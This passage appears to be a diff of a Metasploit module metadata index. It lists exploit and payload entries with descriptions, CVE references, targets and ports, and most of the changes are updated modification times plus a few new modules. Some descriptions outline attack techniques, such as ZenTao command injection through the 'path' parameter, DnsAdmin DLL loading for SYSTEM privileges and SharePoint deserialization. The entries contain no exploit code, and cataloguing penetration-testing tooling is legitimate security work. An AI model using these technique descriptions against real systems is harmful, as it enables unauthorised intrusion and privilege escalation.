"description": "A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated\n attacker to execute code within the context of the SharePoint application service. The privileges in this\n execution context are determined by the account that is specified when SharePoint is installed and configured.\n The vulnerability is related to a failure to validate the source of XML input data, leading to an unsafe\n deserialization operation that can be triggered from a page that initializes either the\n ContactLinksSuggestionsMicroView type or a derivative of it. In a default configuration, a Domain User account\n is sufficient to access SharePoint and exploit this vulnerability.",
"references": [
"CVE-2020-1147",
"URL-https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html"
],
"platform": "Windows",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows EXE Dropper",
"Windows Command",
"Windows Powershell"
],
"mod_time": "2020-07-29 16:08:51 +0000",
"path": "/modules/exploits/windows/http/sharepoint_data_deserialization.rb",
"is_install_path": true,
"ref_name": "windows/http/sharepoint_data_deserialization",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_windows/http/sharepoint_workflows_xoml": {
"name": "SharePoint Workflows XOML Injection",
"fullname": "exploit/windows/http/sharepoint_workflows_xoml",
@@ -127654,7 +129491,7 @@
"Windows Command",
"Windows Powershell"
],
"mod_time": "2020-03-24 17:14:47 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/windows/http/sharepoint_workflows_xoml.rb",
"is_install_path": true,
"ref_name": "windows/http/sharepoint_workflows_xoml",
@@ -128304,7 +130141,7 @@
"targets": [
"Apache Tomcat 9.0 or prior for Windows"
],
"mod_time": "2019-08-02 09:48:53 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb",
"is_install_path": true,
"ref_name": "windows/http/tomcat_cgi_cmdlineargs",
@@ -128885,6 +130722,58 @@
},
"needs_cleanup": null
},
"exploit_windows/http/zentao_pro_rce": {
"name": "ZenTao Pro 8.8.2 Remote Code Execution",
"fullname": "exploit/windows/http/zentao_pro_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-06-01",
"type": "exploit",
"author": [
"Daniel Monzón",
"Melvin Boers",
"Erik Wynter"
],
"description": "This module exploits a command injection vulnerability in ZenTao Pro\n 8.8.2 and earlier versions in order to execute arbitrary commands with\n SYSTEM privileges.\n\n The module first attempts to authenticate to the ZenTao dashboard. It\n then tries to execute the payload by submitting fake repositories via\n the 'Repo Create' function that is accessible from the dashboard via\n CI>Repo. More precisely, the module sends HTTP POST requests to\n '/pro/repo-create.html' that inject commands in the vulnerable 'path'\n parameter which corresponds to the 'Client Path' input field.\n\n Valid credentials for a ZenTao admin account are required. This module\n has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on\n Windows 10 (XAMPP server).",
"references": [
"EDB-48633",
"CVE-2020-7361"
],
"platform": "Windows",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows (x86)",
"Windows (x64)"
],
"mod_time": "2020-07-22 09:40:25 +0000",
"path": "/modules/exploits/windows/http/zentao_pro_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/zentao_pro_rce",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/http/zenworks_assetmgmt_uploadservlet": {
"name": "Novell ZENworks Asset Management Remote Execution",
"fullname": "exploit/windows/http/zenworks_assetmgmt_uploadservlet",
@@ -131918,7 +133807,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2020-06-11 13:09:25 +0000",
"mod_time": "2020-07-30 10:45:19 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0668_service_tracing",
@@ -131967,7 +133856,7 @@
"targets": [
"Windows DLL Dropper"
],
"mod_time": "2020-06-11 00:59:22 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0787_bits_arbitrary_file_move",
@@ -132019,7 +133908,7 @@
"targets": [
"Windows 10 v1903-1909 x64"
],
"mod_time": "2020-04-16 02:04:17 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0796_smbghost.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0796_smbghost",
@@ -132036,6 +133925,58 @@
},
"needs_cleanup": null
},
"exploit_windows/local/dnsadmin_serverlevelplugindll": {
"name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation",
"fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll",
"aliases": [
],
"rank": 300,
"disclosure_date": "2017-05-08",
"type": "exploit",
"author": [
"Shay Ber",
"Imran E. Dawoodjee <imran@threathounds.com>"
],
"description": "This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the\n `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\`\n named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service\n will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended\n when using a UNC path.\n\n Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,\n the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and\n users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus\n after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the\n `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\` key on the target computer may point to an nonexistant DLL,\n which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for\n this module for advice on how to resolve this issue should it occur.\n\n This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows\n Server version up to and including Windows Server 2019.",
"references": [
"URL-https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
"URL-https://adsecurity.org/?p=4064",
"URL-http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-09-09 12:26:42 +0000",
"path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb",
"is_install_path": true,
"ref_name": "windows/local/dnsadmin_serverlevelplugindll",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"SideEffects": [
"config-changes",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": true
},
"exploit_windows/local/docker_credential_wincred": {
"name": "Docker-Credential-Wincred.exe Privilege Escalation",
"fullname": "exploit/windows/local/docker_credential_wincred",
@@ -133488,7 +135429,7 @@
"targets": [
"Windows 7 x86"
],
"mod_time": "2020-05-05 21:28:51 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/windows/local/ntusermndragover.rb",
"is_install_path": true,
"ref_name": "windows/local/ntusermndragover",
@@ -139469,7 +141410,7 @@
"Windows Dropper",
"PowerShell Stager"
],
"mod_time": "2020-05-01 12:59:01 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/windows/misc/veeam_one_agent_deserialization.rb",
"is_install_path": true,
"ref_name": "windows/misc/veeam_one_agent_deserialization",
@@ -140488,6 +142429,51 @@
},
"needs_cleanup": null
},
"exploit_windows/nimsoft/nimcontroller_bof": {
"name": "CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow",
"fullname": "exploit/windows/nimsoft/nimcontroller_bof",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-02-05",
"type": "exploit",
"author": [
"wetw0rk"
],
"description": "This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.\n The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list\n probe.\n\n Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the\n directory_list probe.",
"references": [
"CVE-2020-8010",
"CVE-2020-8012",
"URL-https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832",
"PACKETSTORM-156577"
],
"platform": "Windows",
"arch": "x64",
"rport": 48000,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows Universal (x64) - v7.80.3132"
],
"mod_time": "2020-07-24 15:50:00 +0000",
"path": "/modules/exploits/windows/nimsoft/nimcontroller_bof.rb",
"is_install_path": true,
"ref_name": "windows/nimsoft/nimcontroller_bof",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
]
},
"needs_cleanup": null
},
"exploit_windows/nntp/ms05_030_nntp": {
"name": "MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow",
"fullname": "exploit/windows/nntp/ms05_030_nntp",
@@ -141579,9 +143565,10 @@
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)"
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)"
],
"mod_time": "2020-04-20 20:06:52 +0000",
"mod_time": "2020-07-08 23:32:16 +0000",
"path": "/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb",
"is_install_path": true,
"ref_name": "windows/rdp/cve_2019_0708_bluekeep_rce",
@@ -143413,7 +145400,7 @@
"Windows x32",
"Windows x64"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-04 16:08:32 +0000",
"path": "/modules/exploits/windows/smb/ipass_pipe_exec.rb",
"is_install_path": true,
"ref_name": "windows/smb/ipass_pipe_exec",
@@ -143501,7 +145488,7 @@
"targets": [
"Windows 2000 SP2-SP4 + Windows XP SP0-SP1"
],
"mod_time": "2019-12-03 20:22:05 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms04_007_killbill.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms04_007_killbill",
@@ -143557,7 +145544,7 @@
"Windows 2000 English",
"Windows XP English"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms04_011_lsass.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms04_011_lsass",
@@ -143747,7 +145734,7 @@
"Windows 2000 SP4",
"Windows XP SP1"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms06_025_rras.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms06_025_rras",
@@ -143796,7 +145783,7 @@
"(stack) Windows XP SP1 Italian",
"(wcscpy) Windows 2003 SP0"
],
"mod_time": "2019-12-03 06:32:02 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms06_040_netapi.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms06_040_netapi",
@@ -143937,7 +145924,7 @@
"Windows 2000 SP4",
"Windows XP SP0/SP1"
],
"mod_time": "2017-09-17 16:00:04 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms06_070_wkssvc.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms06_070_wkssvc",
@@ -143991,7 +145978,7 @@
"Windows 2003 Server SP1-SP2 Italian",
"Windows 2003 Server SP1-SP2 German"
],
"mod_time": "2019-05-23 07:01:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms07_029_msdns_zonename",
@@ -144110,7 +146097,7 @@
"Windows 2003 SP2 French (NO NX)",
"Windows 2003 SP2 French (NX)"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms08_067_netapi.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms08_067_netapi",
@@ -144245,7 +146232,7 @@
"targets": [
"Windows Universal"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/ms10_061_spoolss.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms10_061_spoolss",
@@ -144338,7 +146325,7 @@
"targets": [
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
],
"mod_time": "2020-04-20 20:06:52 +0000",
"mod_time": "2020-04-17 17:58:18 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_eternalblue",
@@ -144447,7 +146434,7 @@
"Native upload",
"MOF upload"
],
"mod_time": "2020-05-14 16:41:54 +0000",
"mod_time": "2020-05-06 12:17:12 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_psexec.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_psexec",
@@ -144498,7 +146485,7 @@
"targets": [
"Windows 2000 / Windows XP / Windows 2003"
],
"mod_time": "2019-08-15 16:33:40 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb",
"is_install_path": true,
"ref_name": "windows/smb/netidentity_xtierrpcpipe",
@@ -144532,7 +146519,7 @@
"URL-http://sourceforge.net/projects/smbexec/"
],
"platform": "Windows",
"arch": "x86, x64",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
@@ -144546,9 +146533,10 @@
"Automatic",
"PowerShell",
"Native upload",
"MOF upload"
"MOF upload",
"Command"
],
"mod_time": "2020-05-14 16:41:54 +0000",
"mod_time": "2020-07-30 09:34:24 +0000",
"path": "/modules/exploits/windows/smb/psexec.rb",
"is_install_path": true,
"ref_name": "windows/smb/psexec",
@@ -144694,7 +146682,7 @@
"Execute payload (x64)",
"Neutralize implant"
],
"mod_time": "2020-02-03 11:19:20 +0000",
"mod_time": "2020-05-07 20:22:56 +0000",
"path": "/modules/exploits/windows/smb/smb_doublepulsar_rce.rb",
"is_install_path": true,
"ref_name": "windows/smb/smb_doublepulsar_rce",
@@ -144796,7 +146784,7 @@
"targets": [
"Automatic Targeting"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb",
"is_install_path": true,
"ref_name": "windows/smb/timbuktu_plughntcommand_bof",
@@ -144839,7 +146827,7 @@
"Automatic",
"Native upload"
],
"mod_time": "2018-10-24 09:46:00 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/windows/smb/webexec.rb",
"is_install_path": true,
"ref_name": "windows/smb/webexec",
@@ -147211,7 +149199,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
@@ -147246,7 +149234,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
@@ -147281,7 +149269,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
@@ -147349,7 +149337,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
@@ -147384,7 +149372,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
@@ -147419,7 +149407,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
@@ -149828,7 +151816,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-16 16:03:14 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_python_ssl",
@@ -151242,7 +153230,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -151277,7 +153265,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -151312,7 +153300,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
@@ -151413,7 +153401,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_http",
@@ -151448,7 +153436,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_https",
@@ -151483,7 +153471,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
@@ -151686,7 +153674,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_http",
@@ -151721,7 +153709,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_https",
@@ -151756,7 +153744,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -151925,7 +153913,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -151960,7 +153948,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -151995,7 +153983,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -152099,7 +154087,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -152134,7 +154122,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -152169,7 +154157,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -152411,7 +154399,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -152446,7 +154434,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -152481,7 +154469,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-08-03 12:32:33 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -152654,7 +154642,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_http",
@@ -152689,7 +154677,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_https",
@@ -152724,7 +154712,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
@@ -152957,7 +154945,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
@@ -152992,7 +154980,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
@@ -153027,7 +155015,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
@@ -153062,7 +155050,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
@@ -153097,7 +155085,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
@@ -153132,7 +155120,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
@@ -153269,7 +155257,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_http",
@@ -153304,7 +155292,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_https",
@@ -153339,7 +155327,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -154156,7 +156144,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_http",
@@ -154191,7 +156179,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_https",
@@ -154226,7 +156214,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
"mod_time": "2020-06-03 07:08:50 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -154937,7 +156925,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-30 15:30:03 +0000",
